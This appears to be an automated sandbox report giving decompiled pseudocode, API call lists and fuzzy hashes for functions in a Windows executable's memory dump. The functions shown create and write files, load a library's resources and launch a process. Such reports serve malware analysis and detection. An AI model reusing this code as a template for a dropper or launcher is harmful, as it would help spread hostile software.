Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: BackslashPath$Directory$AllocateErrorHeapLastSystemValue$Windows
String ID: sysnative
API String ID: 3406704365-821172135
Opcode ID: b20c9ae3932b8e0ef357907c6ae28b98a0e625ce9d02519da34cd8c021745bfe
Instruction ID: 120ea7a7f831b7b3701c46aacaf1f8b25255709322070768e577057f0a501d54
Opcode Fuzzy Hash: b20c9ae3932b8e0ef357907c6ae28b98a0e625ce9d02519da34cd8c021745bfe
Instruction Fuzzy Hash: 39512075518701AAD600BBB1CD82F2F66A9EFD0708F10C83FB144791D2CA3CD9595BAE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AA60, Relevance: 9.2, APIs: 6, Instructions: 157
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AA60(void* _a4, WCHAR* _a8, intOrPtr _a12, long _a16) {
				long _v4;
				long _v8;
				intOrPtr _t49;
				void* _t50;
				long _t52;
				long _t53;
				long _t61;
				void* _t62;
				long _t64;
				long _t66;
				void* _t67;
				signed int _t68;
				signed int _t70;
				void* _t71;
				void* _t72;
				void* _t73;

				_t68 = _a16;
				_t73 = 0;
				_t70 = _t68 & 0x0000001f;
				_v8 = _t70;
				if(_t70 == 0) {
					_v8 = 2;
				}
				_t72 = E0040D438( *0x41771c, _a4);
				if(_t72 == 0) {
					L40:
					return _t73;
				} else {
					_t49 = _a12;
					if(_t49 != 1) {
						if(_t49 != 2) {
							if(_t49 != 3) {
								_t71 = _a16;
								goto L23;
							} else {
								_t61 = 0;
								_a16 = 0;
								if((_t68 & 0x00020000) != 0) {
									_t61 = 1;
									_a16 = 1;
								}
								if((_t68 & 0x00040000) != 0) {
									_t61 = _t61 | 0x00000007;
									_a16 = _t61;
								}
								_t62 = CreateFileW(_a8, 0xc0000000, _t61, 0, 2, 0x80, 0); // executed
								_t71 = _t62;
								if(_t71 != 0xffffffff) {
									goto L24;
								} else {
									_t71 = CreateFileW(_a8, 0x40000000, _a16, 0, 5, 0, 0);
									goto L23;
								}
							}
						} else {
							_t64 = 0;
							if((_t68 & 0x00020000) != 0) {
								_t64 = 1;
							}
							if((_t68 & 0x00040000) != 0) {
								_t64 = _t64 | 0x00000007;
							}
							_t71 = CreateFileW(_a8, 0xc0000000, _t64, 0, 4, 0x80, 0);
							goto L23;
						}
					} else {
						_t66 = 0;
						if((_t68 & 0x00020000) != 0) {
							_t66 = 1;
						}
						if((_t68 & 0x00040000) != 0) {
							_t66 = _t66 | 0x00000007;
						}
						_t67 = CreateFileW(_a8, 0x80000000, _t66, 0, 3, 0x80, 0); // executed
						_t71 = _t67;
						L23:
						if(_t71 == 0xffffffff) {
							L36:
							_t50 = _a4;
							goto L37;
						} else {
							L24:
							if(_t71 == 0) {
								goto L36;
							} else {
								_t52 =  *0x41612c; // 0x1000
								if(_t52 == 0 || (_t68 & 0x00080000) != 0) {
									 *(_t72 + 4) = _t73;
								} else {
									 *(_t72 + 4) = HeapAlloc( *0x417008, 0, _t52);
								}
								 *_t72 = _t71;
								_t53 =  *0x41612c; // 0x1000
								 *(_t72 + 8) = _t53;
								 *(_t72 + 0x18) = _v8;
								 *(_t72 + 0xc) = _t73;
								 *(_t72 + 0x14) = 1;
								 *(_t72 + 0x1c) = 0 | _a12 == 0x00000001;
								if(_a12 == 2 && (_t68 & 0x00100000) != 0) {
									_v4 = _t73;
									SetFilePointer(_t71, 0,  &_v4, 2);
								}
								_t50 = _a4;
								_t73 = _t72;
								if(_t50 != 0xffffffff) {
									_t73 = _t71;
								}
								if(_t73 == 0) {
									L37:
									if(_t50 != 0xffffffff) {
										_t72 = _t50;
									}
									E0040D3AA( *0x41771c, _t72);
									goto L40;
								} else {
									return _t73;
								}
							}
						}
					}
				}
			}

0x0040aa64
0x0040aa6d
0x0040aa6f
0x0040aa72
0x0040aa76
0x0040aa78
0x0040aa78
0x0040aa8f
0x0040aa93
0x0040ac44
0x0040ac4b
0x0040aa99
0x0040aa99
0x0040aaa0
0x0040aae1
0x0040ab1f
0x0040ab88
0x00000000
0x0040ab21
0x0040ab21
0x0040ab23
0x0040ab2d
0x0040ab2f
0x0040ab34
0x0040ab34
0x0040ab3e
0x0040ab40
0x0040ab43
0x0040ab43
0x0040ab5c
0x0040ab62
0x0040ab67
0x00000000
0x0040ab69
0x0040ab84
0x00000000
0x0040ab84
0x0040ab67
0x0040aae3
0x0040aae3
0x0040aaeb
0x0040aaed
0x0040aaed
0x0040aaf8
0x0040aafa
0x0040aafa
0x0040ab18
0x00000000
0x0040ab18
0x0040aaa2
0x0040aaa2
0x0040aaaa
0x0040aaac
0x0040aaac
0x0040aab7
0x0040aab9
0x0040aab9
0x0040aad1
0x0040aad7
0x0040ab8c
0x0040ab8f
0x0040ac2b
0x0040ac2b
0x00000000
0x0040ab95
0x0040ab95
0x0040ab97
0x00000000
0x0040ab9d
0x0040ab9d
0x0040aba4
0x0040abc2
0x0040abae
0x0040abbd
0x0040abbd
0x0040abc5
0x0040abc7
0x0040abcc
0x0040abd3
0x0040abdd
0x0040abe3
0x0040abef
0x0040abf2
0x0040ac02
0x0040ac0a
0x0040ac0a
0x0040ac10
0x0040ac14
0x0040ac19
0x0040ac1b
0x0040ac1b
0x0040ac1f
0x0040ac2f
0x0040ac32
0x0040ac34
0x0040ac34
0x0040ac3d
0x00000000
0x0040ac23
0x0040ac2a
0x0040ac2a
0x0040ac1f
0x0040ab97
0x0040ab8f
0x0040aaa0

APIs

CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040AAD1
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040AB12
CreateFileW.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,00000000,00000000), ref: 0040AB5C
CreateFileW.KERNEL32(?,40000000,?,00000000,00000005,00000000,00000000,?,?,?,00000000,00000000), ref: 0040AB7E
HeapAlloc.KERNEL32(00000000,00001000,?,?,?,?,00000000,00000000), ref: 0040ABB7
SetFilePointer.KERNEL32(?,00000000,?,00000002), ref: 0040AC0A

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Create$AllocHeapPointer
String ID:
API String ID: 4207849991-0
Opcode ID: 03187de23769bf5a714144439e1d921a106fae5db2cc0e7624616ee37dc51610
Instruction ID: 35cb0034da6faa60fecaa9fe6ab12df6337e8788845343623408397181d4bc5b
Opcode Fuzzy Hash: 03187de23769bf5a714144439e1d921a106fae5db2cc0e7624616ee37dc51610
Instruction Fuzzy Hash: E451B171204300ABE3218E28DC44B57BAE5EB44764F614A3AFA51A62E0D779EC55CB1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040D7B9, Relevance: 7.6, APIs: 5, Instructions: 106
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040D7B9(intOrPtr _a4, signed int _a8, intOrPtr _a12, signed char _a16) {
				intOrPtr _v0;
				signed char _t32;
				void* _t33;
				intOrPtr* _t41;
				intOrPtr _t47;
				signed int _t49;
				void* _t50;
				signed int _t52;
				signed int _t54;
				intOrPtr* _t55;
				void* _t56;
				signed int _t58;

				_t32 = _a16;
				_t50 = 4;
				_t49 = _a4 + _t50;
				_t54 = _t32 & 0x00000003;
				_t56 = 0;
				_t52 = _t49 & 0x00000003;
				if(_t52 != 0) {
					_t49 = _t49 + _t50;
				}
				if((_t32 & 0x00000004) == 0) {
					_t33 = RtlAllocateHeap( *0x417008, 0, 0x38); // executed
					_t56 = _t33;
					if(_t56 != 0) {
						 *((intOrPtr*)(_t56 + 0x14)) = _v0;
						 *((intOrPtr*)(_t56 + 0x18)) = _a4;
						 *_t56 = 0;
						 *((intOrPtr*)(_t56 + 4)) = 0;
						 *((intOrPtr*)(_t56 + 8)) = 0;
						 *(_t56 + 0x10) = _t49;
						if(_t54 == 1 || _t54 == 0) {
							 *((intOrPtr*)(_t56 + 0x1c)) = 1;
							_t31 = _t56 + 0x20; // 0x20
							InitializeCriticalSection(_t31);
						} else {
							 *((intOrPtr*)(_t56 + 0x1c)) = 0;
						}
					}
					goto L21;
				} else {
					E0040D9E3(_t50, 0x417614, E0040D982);
					EnterCriticalSection(0x41761c);
					_t41 =  *0x417618; // 0x2350fa8
					_t58 = _a8;
					while(_t41 != 0) {
						if( *((intOrPtr*)(_t41 + 0xc)) != _t49 ||  *((intOrPtr*)(_t41 + 0x10)) != _t58) {
							_t41 =  *_t41;
							continue;
						} else {
							 *((intOrPtr*)(_t41 + 0x14)) =  *((intOrPtr*)(_t41 + 0x14)) + 1;
							_t56 =  *(_t41 + 8);
							if(_t56 != 0) {
								L15:
								LeaveCriticalSection(0x41761c);
								L21:
								return _t56;
							}
							L10:
							_t55 = HeapAlloc( *0x417008, 0, 0x18);
							if(_t55 != 0) {
								_t12 = _t49 - 4; // -4
								_t56 = E0040D7B9(_t12, _a8, _a12, _t58 & 0xfffffffb);
								if(_t56 != 0) {
									_t47 =  *0x417618; // 0x2350fa8
									 *((intOrPtr*)(_t56 + 8)) = _t55;
									 *(_t55 + 4) =  *(_t55 + 4) & 0x00000000;
									 *(_t55 + 8) = _t56;
									 *(_t55 + 0xc) = _t49;
									 *(_t55 + 0x10) = _t58;
									 *((intOrPtr*)(_t55 + 0x14)) = 1;
									 *_t55 = _t47;
									if(_t47 != 0) {
										 *((intOrPtr*)(_t47 + 4)) = _t55;
									}
									 *0x417618 = _t55;
								}
							}
							goto L15;
						}
					}
					goto L10;
				}
			}

0x0040d7b9
0x0040d7c7
0x0040d7c8
0x0040d7d0
0x0040d7d3
0x0040d7d5
0x0040d7d8
0x0040d7dc
0x0040d7dc
0x0040d7e0
0x0040d89b
0x0040d8a1
0x0040d8a5
0x0040d8ab
0x0040d8b2
0x0040d8b8
0x0040d8ba
0x0040d8bd
0x0040d8c0
0x0040d8c5
0x0040d8d0
0x0040d8d3
0x0040d8d7
0x0040d8cb
0x0040d8cb
0x0040d8cb
0x0040d8c5
0x00000000
0x0040d7e6
0x0040d7f0
0x0040d7fa
0x0040d800
0x0040d805
0x0040d817
0x0040d80e
0x0040d815
0x00000000
0x0040d81d
0x0040d81d
0x0040d820
0x0040d825
0x0040d885
0x0040d88a
0x0040d8de
0x0040d8e3
0x0040d8e3
0x0040d827
0x0040d837
0x0040d83b
0x0040d847
0x0040d854
0x0040d858
0x0040d85a
0x0040d85f
0x0040d862
0x0040d866
0x0040d869
0x0040d86c
0x0040d86f
0x0040d876
0x0040d87a
0x0040d87c
0x0040d87c
0x0040d87f
0x0040d87f
0x0040d858
0x00000000
0x0040d83b
0x0040d80e
0x00000000
0x0040d81b

APIs

EnterCriticalSection.KERNEL32(0041761C,00417614,0040D982,00000000,FFFFFFED,00000200,77E34620,00409E16,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040D7FA
HeapAlloc.KERNEL32(00000000,00000018,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 0040D831
LeaveCriticalSection.KERNEL32(0041761C,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040D88A
RtlAllocateHeap.NTDLL(00000000,00000038,00000000,FFFFFFED,00000200,77E34620,00409E16,FFFFFFED,00000010,00010000,00000004,00000200), ref: 0040D89B
InitializeCriticalSection.KERNEL32(00000020,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040D8D7

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Heap$AllocAllocateEnterInitializeLeave
String ID:
API String ID: 1272335518-0
Opcode ID: 2ec9cf42e2d1736302ec14762d145b98cb1fe75a1bb67cb2000ecd2b7010510a
Instruction ID: 1c1621ef8b81eb37d3c39fa836f306ed5b79470d652240547c7f2301dbf87725
Opcode Fuzzy Hash: 2ec9cf42e2d1736302ec14762d145b98cb1fe75a1bb67cb2000ecd2b7010510a
Instruction Fuzzy Hash: DE31A2B2D007019BC3209F99D844A57BBF4FB44760B15C53EE465A7390D738E908CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00402022, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00402022() {
				intOrPtr _t31;
				intOrPtr _t33;
				intOrPtr _t35;
				intOrPtr _t37;
				int _t39;
				int _t41;
				long _t43;
				void* _t51;
				intOrPtr* _t55;
				intOrPtr* _t57;

				_t51 = 0x14;
				do {
					_t57 = _t57 - 4;
					 *_t57 = 0;
					_t51 = _t51 - 1;
				} while (_t51 != 0);
				E0040DF60();
				E00405060(_t57,  *((intOrPtr*)(_t57 + 0x5c)));
				E00405060(_t57 + 4,  *((intOrPtr*)(_t57 + 0x60)));
				E00405060(_t57 + 8,  *((intOrPtr*)(_t57 + 0x64)));
				_t55 = _t57 + 0xc;
				 *_t55 = 0x3c;
				 *((intOrPtr*)(_t55 + 4)) = 0x140;
				 *((intOrPtr*)(_t55 + 0x1c)) = 0;
				_push(L"open");
				_pop(_t31);
				 *((intOrPtr*)(_t55 + 0xc)) = _t31;
				_t33 =  *_t57;
				 *((intOrPtr*)(_t55 + 0x10)) = _t33;
				_t35 =  *((intOrPtr*)(_t57 + 8));
				 *((intOrPtr*)(_t55 + 0x14)) = _t35;
				_t37 =  *((intOrPtr*)(_t57 + 4));
				 *((intOrPtr*)(_t55 + 0x18)) = _t37;
				_t39 = ShellExecuteExW(_t57 + 0xc); // executed
				 *(_t57 + 0x48) = _t39;
				while(1) {
					_push(0x19); // executed
					E00405532(); // executed
					_t41 = GetExitCodeProcess( *(_t57 + 0x48), _t57 + 0x4c); // executed
					if(_t41 != 0 &&  *(_t57 + 0x4c) != 0x103) {
						break;
					}
				}
				_t43 =  *(_t57 + 0x4c);
				return E0040DEF0(E0040DEF0(E0040DEF0(_t43,  *_t57),  *((intOrPtr*)(_t57 + 4))),  *((intOrPtr*)(_t57 + 8)));
			}

0x00402024
0x00402029
0x00402029
0x0040202c
0x00402033
0x00402033
0x00402036
0x00402042
0x0040204f
0x0040205c
0x00402065
0x00402069
0x00402070
0x00402077
0x00402083
0x00402084
0x00402085
0x0040208c
0x0040208d
0x00402095
0x00402096
0x0040209e
0x0040209f
0x004020a7
0x004020ac
0x004020b0
0x004020b0
0x004020b5
0x004020c6
0x004020cd
0x00000000
0x00000000
0x004020dd
0x004020df
0x00402106

APIs

ShellExecuteExW.SHELL32(?), ref: 004020A7
GetExitCodeProcess.KERNEL32 ref: 004020C6

Strings

open, xrefs: 0040207E, 00402083, 0040208B

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CodeExecuteExitProcessShell
String ID: open
API String ID: 1016612177-2758837156
Opcode ID: 4da19c96667bed9e9bef70d0c438878542b475c9845e05a44f1d331ba8485070
Instruction ID: f63886f370766692049a8ab09fc70fe74b01992a8596c344147a8d3c31b217da
Opcode Fuzzy Hash: 4da19c96667bed9e9bef70d0c438878542b475c9845e05a44f1d331ba8485070
Instruction Fuzzy Hash: E9218971008309AFD700EF64C845A9FBBE9EF44308F10882EF198A6291DB79D905DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00401B8F, Relevance: 4.7, APIs: 3, Instructions: 233
libraryCOMMON

Download Yara Rule

C-Code - Quality: 44%

			E00401B8F(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr __ebp;
				void* _t28;
				void* _t29;
				void* _t30;
				struct HINSTANCE__* _t33;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t54;
				struct HINSTANCE__** _t56;
				void* _t57;

				_t57 = __eflags;
				_t51 = __edx;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				E0040DF60();
				_t28 = E0040DE20();
				_t52 = _t51;
				_push(_t28);
				_push(2);
				_push(0);
				_t29 = E0040DE20();
				_t53 = _t52;
				_push(_t29);
				_t30 = E0040DE20();
				_t54 = _t53;
				E00405182(E00409638(_t57, _t30));
				 *_t56 =  *_t56 + _t54; // executed
				_t33 = LoadLibraryExW(??, ??, ??); // executed
				 *_t56 = E004051A0(_t33);
				EnumResourceTypesW(_t56[2], E00402109, 0);
				FreeLibrary( *_t56);
				if(E0040A3E3( *0x4170a8) <= 0) {
					goto L1;
				} else {
					__eax = E0040A3ED( *0x4170a8);
					while(1) {
						__eax = E0040A402( *0x4170a8);
						__eax = __eax;
						__eflags = __eax;
						if(__eax == 0) {
							break;
						}
						__ebp =  *0x4170ac; // 0x0
						__edx =  *((intOrPtr*)(__ebp + 8));
						_push( *((intOrPtr*)(__ebp + 8)));
						__eax = E0040DE20();
						_pop(__edx);
						E0040DFC0(__edx) = __esp + 8;
						__eax = E0040DE60(__esp + 8, __esp + 8);
						__eax = E00405D80( *((intOrPtr*)(__esp + 4)));
						__eflags = __eax - 0xa;
						if(__eax <= 0xa) {
							__edx =  *((intOrPtr*)(__esp + 4));
							_push( *((intOrPtr*)(__esp + 4)));
							__eax = E0040DE20();
							_pop(__edx);
							E0040DFC0(__edx) = __esp + 0x10;
							__eax = E0040DE60(__esp + 0x10, __esp + 0x10);
						} else {
							__edx =  *((intOrPtr*)(__esp + 8));
							_push( *((intOrPtr*)(__esp + 8)));
							__eax = E0040DE20();
							_pop(__edx);
							__eax = E0040DFC0(__edx);
							__edx =  *((intOrPtr*)(__esp + 8));
							E0040DFC0( *((intOrPtr*)(__esp + 8))) = __esp + 0xc;
							__eax = E0040DE60(__esp + 0xc, __esp + 0xc);
						}
					}
					_push( *0x4170a8);
					__eax = E0040A436();
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					_push(1);
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					E00405DB0( *((intOrPtr*)(__esp + 0x24))) = E00405182(__eax);
					 *__esp =  *__esp + __edx;
					E0040D0A0() = E00405182(__eax);
					 *__esp =  *__esp + __edx;
					__eax = __esp + 0x14;
					_push(__esp + 0x14);
					__eax = E0040DE60();
					__edx =  *((intOrPtr*)(__esp + 0x10));
					_push( *((intOrPtr*)(__esp + 0x10)));
					__eax = E0040DE20();
					_pop(__edx);
					E0040DFC0(__edx) = __esp + 0x18;
					__eax = E0040DE60(__esp + 0x18, __esp + 0x18);
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					__eax = E00405182(__eax);
					 *__esp =  *__esp + __edx;
					__eflags =  *__esp;
					E00405E50(__ecx,  *__esp) = __esp + 0x14;
					_push(__esp + 0x14);
					__eax = E0040DE60();
					__eax = E0040DE20();
					__edx = __edx;
					_push(__eax);
					__eax = E0040DE20();
					__edx = __edx;
					E00405EC0(__eflags,  *((intOrPtr*)(__esp + 0x1c)), 0xa) = __esp + 0x14;
					__eax = E0040DE60(__esp + 0x14, __esp + 0x14);
					_push( *((intOrPtr*)(__esp + 0xc)));
					__edx =  *((intOrPtr*)(__esp + 0x14));
					_pop(__ecx);
					__eax = E00405120(__ecx, __edx);
					if(__eflags == 0) {
						L1:
						_push(0);
						L3();
						E0040DE00();
						HeapDestroy( *0x417008);
						ExitProcess(??);
						E00405379();
						E004098F0();
						E0040A655();
						E0040D264(E0040AA30());
						return E00409AD0();
					} else {
						__eax = E004097FE();
						__eax = __eax;
						__eflags = __eax;
						if(__eflags != 0) {
							__eax = E0040DE20();
							__edx = __edx;
							__eax = E0040DE20();
							__edx = __edx;
							__eax = E0040E020(__ecx);
							__edx =  *((intOrPtr*)(__esp + 0x18));
							__ecx = __eax;
							__ecx = E00405160(__ecx);
							__eax = E00405120(__eax, __edx);
							if(__eflags != 0) {
								 *0x417050 = 1;
								__eax = E0040DE20();
								__edx = __edx;
								_push(__eax);
								__eax = E0040DE20();
								__edx = __edx;
								__eax = 0x417020;
								_push(0x417020);
								__eax = E0040DE60();
							}
						}
						__eax = E0040DEF0(__eax,  *((intOrPtr*)(__esp + 4)));
						__eax = E0040DEF0(__eax,  *((intOrPtr*)(__esp + 0xc)));
						__eax = E0040DEF0(__eax,  *((intOrPtr*)(__esp + 8)));
						__eax = E0040DEF0(__eax,  *((intOrPtr*)(__esp + 0x14)));
						__eax = E0040DEF0(__eax,  *((intOrPtr*)(__esp + 0x10)));
						__esp = __esp + 0x18;
						_pop(__ebp);
						return __eax;
					}
				}
			}

0x00401b8f
0x00401b8f
0x00401b93
0x00401b94
0x00401b95
0x00401b96
0x00401b97
0x00401b98
0x00401b99
0x00401b9f
0x00401ba4
0x00401ba5
0x00401ba6
0x00401bab
0x00401bb1
0x00401bb6
0x00401bb7
0x00401bb9
0x00401bbe
0x00401bc5
0x00401bca
0x00401bcd
0x00401bd7
0x00401bea
0x00401bf2
0x00401c06
0x00000000
0x00401c0c
0x00401c12
0x00401c17
0x00401c1d
0x00401c22
0x00401c22
0x00401c24
0x00000000
0x00000000
0x00401c26
0x00401c2c
0x00401c2f
0x00401c30
0x00401c35
0x00401c3d
0x00401c42
0x00401c4b
0x00401c52
0x00401c55
0x00401c7f
0x00401c83
0x00401c84
0x00401c89
0x00401c91
0x00401c96
0x00401c57
0x00401c57
0x00401c5b
0x00401c5c
0x00401c61
0x00401c64
0x00401c69
0x00401c73
0x00401c78
0x00401c78
0x00401c9b
0x00401ca0
0x00401ca6
0x00401cac
0x00401cb1
0x00401cb2
0x00401cb4
0x00401cb9
0x00401cba
0x00401cbc
0x00401cc1
0x00401cc2
0x00401cc4
0x00401cc9
0x00401cca
0x00401ccb
0x00401cd1
0x00401cd6
0x00401cd7
0x00401cd9
0x00401cde
0x00401ce9
0x00401cee
0x00401cf6
0x00401cfb
0x00401d03
0x00401d07
0x00401d08
0x00401d0d
0x00401d11
0x00401d12
0x00401d17
0x00401d1f
0x00401d24
0x00401d2a
0x00401d2f
0x00401d30
0x00401d32
0x00401d37
0x00401d38
0x00401d3a
0x00401d3f
0x00401d40
0x00401d42
0x00401d47
0x00401d57
0x00401d5c
0x00401d5c
0x00401d64
0x00401d68
0x00401d69
0x00401d6f
0x00401d74
0x00401d75
0x00401d77
0x00401d7c
0x00401d8c
0x00401d91
0x00401d96
0x00401d9a
0x00401d9e
0x00401d9f
0x00401da4
0x004011a0
0x004011a0
0x004011a5
0x004011aa
0x004011b5
0x004011ba
0x004011bf
0x004011c4
0x004011c9
0x004011d3
0x004011dd
0x00401da6
0x00401da6
0x00401dab
0x00401dab
0x00401dad
0x00401db0
0x00401db5
0x00401db8
0x00401dbd
0x00401dc9
0x00401dce
0x00401dd2
0x00401dd9
0x00401ddb
0x00401de0
0x00401de2
0x00401ded
0x00401df2
0x00401df3
0x00401df5
0x00401dfa
0x00401e06
0x00401e0c
0x00401e0d
0x00401e0d
0x00401de0
0x00401e26
0x00401e2f
0x00401e38
0x00401e41
0x00401e4a
0x00401e4f
0x00401e53
0x00401e54
0x00401e54
0x00401da4

APIs

Part of subcall function 0040DF60: TlsGetValue.KERNEL32(0000001B,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,0041606C,00000008,0000000C), ref: 0040DF77

Part of subcall function 0040DE20: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE26
Part of subcall function 0040DE20: TlsGetValue.KERNEL32(0000001B), ref: 0040DE35
Part of subcall function 0040DE20: SetLastError.KERNEL32(?), ref: 0040DE4B

Part of subcall function 00409638: GetModuleFileNameW.KERNEL32(00000000,00000104,00000104,00000000,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000), ref: 00409654
Part of subcall function 00409638: wcscmp.MSVCRT ref: 00409662
Part of subcall function 00409638: memmove.MSVCRT ref: 0040967A

Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189

LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,`Fc,00000000), ref: 00401BCD
EnumResourceTypesW.KERNEL32 ref: 00401BEA
FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00401BF2

Part of subcall function 0040DFC0: wcslen.MSVCRT ref: 0040DFD7

Part of subcall function 0040DE60: TlsGetValue.KERNEL32(0000001B,00000000,00000000), ref: 0040DE6C
Part of subcall function 0040DE60: RtlAllocateHeap.NTDLL(00630000,00000000,?), ref: 0040DE99

Memory Dump Source

Source File: 00000000.00000002.460018327.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.460006944.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460097671.0000000000412000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460107234.0000000000416000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.460112130.0000000000418000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460118240.000000000041E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.460130136.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$ErrorLastLibrary$AllocateEnumFileFreeHeapLoadModuleNameResourceTypesmemmovewcscmpwcslen
String ID:
API String ID: 983379767-0
Opcode ID: 4ad9618a39c96ebc7cc08c76ef6dd36292b015dc4290505fe387b7f3c1c86b5b
Instruction ID: 3462f3606e8cbb1e1a4d79c74de0940f317b4d1ea5cf6404f74aab9d4bf66b3f
Opcode Fuzzy Hash: 4ad9618a39c96ebc7cc08c76ef6dd36292b015dc4290505fe387b7f3c1c86b5b
Instruction Fuzzy Hash: 4251F7B59047006AE6007BF2DD86E7F66AEDBD4718F10883FB5407D0D2CA3C8C5966AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040AFC0, Relevance: 4.6, APIs: 3, Instructions: 102
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040AFC0(long __edx, void** _a4, void* _a8, long _a12) {
				long _v4;
				long _v8;
				long _v12;
				void* _t36;
				void* _t38;
				void* _t45;
				void* _t49;
				long _t58;
				void* _t63;
				long _t69;
				void** _t75;

				_t75 = _a4;
				_v12 = 0;
				if(_t75[7] != 0) {
					return 0;
				} else {
					if(_t75[5] == 1) {
						_t58 =  ~(_t75[3]);
						asm("cdq");
						_v8 = _t58;
						_v4 = __edx;
						SetFilePointer( *_t75, _t58,  &_v4, 1); // executed
						_t75[5] = 0;
						_t75[3] = _t75[2];
					}
					_t36 = _t75[3];
					_t69 = _a12;
					if(_t36 <= _t69) {
						E0040A9E0(_t75);
						_t38 = _t75[2];
						if(_t69 < _t38) {
							_push(_t69);
							_push(_a8);
							_t63 = _t75[1] - _t75[3] + _t38;
							goto L8;
						} else {
							WriteFile( *_t75, _a8, _t69,  &_v12, 0); // executed
							return _v12;
						}
					} else {
						_t63 = _t75[2] + _t75[1] - _t36;
						_t45 = _t69 - 1;
						if(_t45 == 0) {
							 *_t63 =  *_a8;
							_t75[3] = _t75[3] - _t69;
							return _t69;
						} else {
							_t49 = _t45 - 1;
							if(_t49 == 0) {
								 *_t63 =  *_a8;
								_t75[3] = _t75[3] - _t69;
								return _t69;
							} else {
								if(_t49 == 2) {
									 *_t63 =  *_a8;
									_t75[3] = _t75[3] - _t69;
									return _t69;
								} else {
									_push(_t69);
									_push(_a8);
									L8:
									memcpy(_t63, ??, ??);
									_t75[3] = _t75[3] - _t69;
									return _t69;
								}
							}
						}
					}
				}
			}

0x0040afc4
0x0040afc8
